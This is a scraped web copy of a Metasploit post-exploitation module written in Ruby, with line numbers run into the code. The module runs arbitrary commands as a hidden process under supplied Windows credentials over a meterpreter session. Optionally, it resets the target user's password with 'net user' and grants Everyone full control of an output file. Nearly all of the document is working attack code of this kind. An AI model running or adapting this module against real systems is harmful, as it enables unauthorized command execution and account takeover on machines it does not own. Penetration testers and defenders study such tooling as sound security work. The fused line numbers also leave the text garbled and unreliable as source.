Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/windows/manage/run_as.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::File7include Msf::Post::Windows::Priv8include Msf::Post::Windows::Runas910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Windows Manage Run Command As User',15'Description' => %q{16This module will login with the specified username/password and execute the17supplied command as a hidden process. Output is not returned by default, by setting18CMDOUT to true output will be redirected to a temp file and read back in to19display. By setting advanced option SETPASS to true, it will reset the users20password and then execute the command.21},22'License' => MSF_LICENSE,23'Platform' => ['win'],24'SessionTypes' => ['meterpreter'],25'Author' => ['Kx499'],26'Compat' => {27'Meterpreter' => {28'Commands' => %w[29stdapi_railgun_api30stdapi_sys_config_getprivs31]32}33}34)35)3637register_options(38[39OptString.new('DOMAIN', [true, 'Domain to login with' ]),40OptString.new('USER', [true, 'Username to login with' ]),41OptString.new('PASSWORD', [true, 'Password to login with' ]),42OptString.new('CMD', [true, 'Command to execute' ]),43OptBool.new('CMDOUT', [true, 'Retrieve command output', false])44]45)4647register_advanced_options(48[49OptBool.new('SETPASS', [true, 'Reset password', false])50]51)52end5354# Check if sufficient privileges are present for certain actions and run getprivs for system55# If you elevated privs to system,the SeAssignPrimaryTokenPrivilege will not be assigned. You56# need to migrate to a process that is running as57# system. If you don't have privs, this exits script.58def priv_check59if is_system?60privs = session.sys.config.getprivs61return privs.include?('SeAssignPrimaryTokenPrivilege') && privs.include?('SeIncreaseQuotaPrivilege')62end6364false65end6667def reset_pass(user, password)68tmpout = cmd_exec("cmd.exe /c net user #{user} #{password}")69return tmpout.include?('successfully')70rescue StandardError71return false72end7374def touch(path)75write_file(path, '')76cmd_exec("icacls #{path} /grant Everyone:(F)")77end7879def run80# Make sure we meet the requirements before running the script, note no need to return81# unless error82return unless session.type == 'meterpreter'8384pi = nil85# check/set vars86setpass = datastore['SETPASS']87cmdout = datastore['CMDOUT']88user = datastore['USER'] || nil89password = datastore['PASSWORD'] || nil90cmd = datastore['CMD'] || nil91domain = datastore['DOMAIN']9293if setpass94print_status('Setting user password')95fail_with(Failure::Unknown, 'Error resetting password') unless reset_pass(user, password)96end9798# If command output is requested, then create output file and set open permissions99if cmdout100system_temp = get_env('WINDIR') << '\\Temp'101outpath = "#{system_temp}\\#{Rex::Text.rand_text_alpha(8)}.txt"102touch(outpath)103cmdstr = "cmd.exe /c #{cmd} > #{outpath}"104else105cmdstr = "cmd.exe /c #{cmd}"106end107108# Check privs and execute the correct commands109# if user use createprocesswithlogon, if system logonuser and createprocessasuser110# execute command and get output with a poor mans pipe111if priv_check112print_status('Executing CreateProcessAsUserA...we are SYSTEM')113pi = create_process_as_user(domain, user, password, nil, cmdstr)114if pi115session.railgun.kernel32.CloseHandle(pi[:process_handle])116session.railgun.kernel32.CloseHandle(pi[:thread_handle])117end118else119print_status('Executing CreateProcessWithLogonW...')120pi = create_process_with_logon(domain, user, password, nil, cmdstr)121end122123# Only process file if the process creation was successful, delete when done, give us info124# about process125if pi126tmpout = read_file(outpath) if cmdout127128print_status("Command Run: #{cmdstr}")129vprint_status("Process Handle: #{pi[:process_handle]}")130vprint_status("Thread Handle: #{pi[:thread_handle]}")131vprint_status("Process Id: #{pi[:process_id]}")132vprint_status("Thread Id: #{pi[:thread_id]}")133print_status("Command output:\r\n#{tmpout}") if cmdout134end135136if cmdout137print_status("Removing temp file #{outpath}")138rm_f(outpath)139end140end141end142143144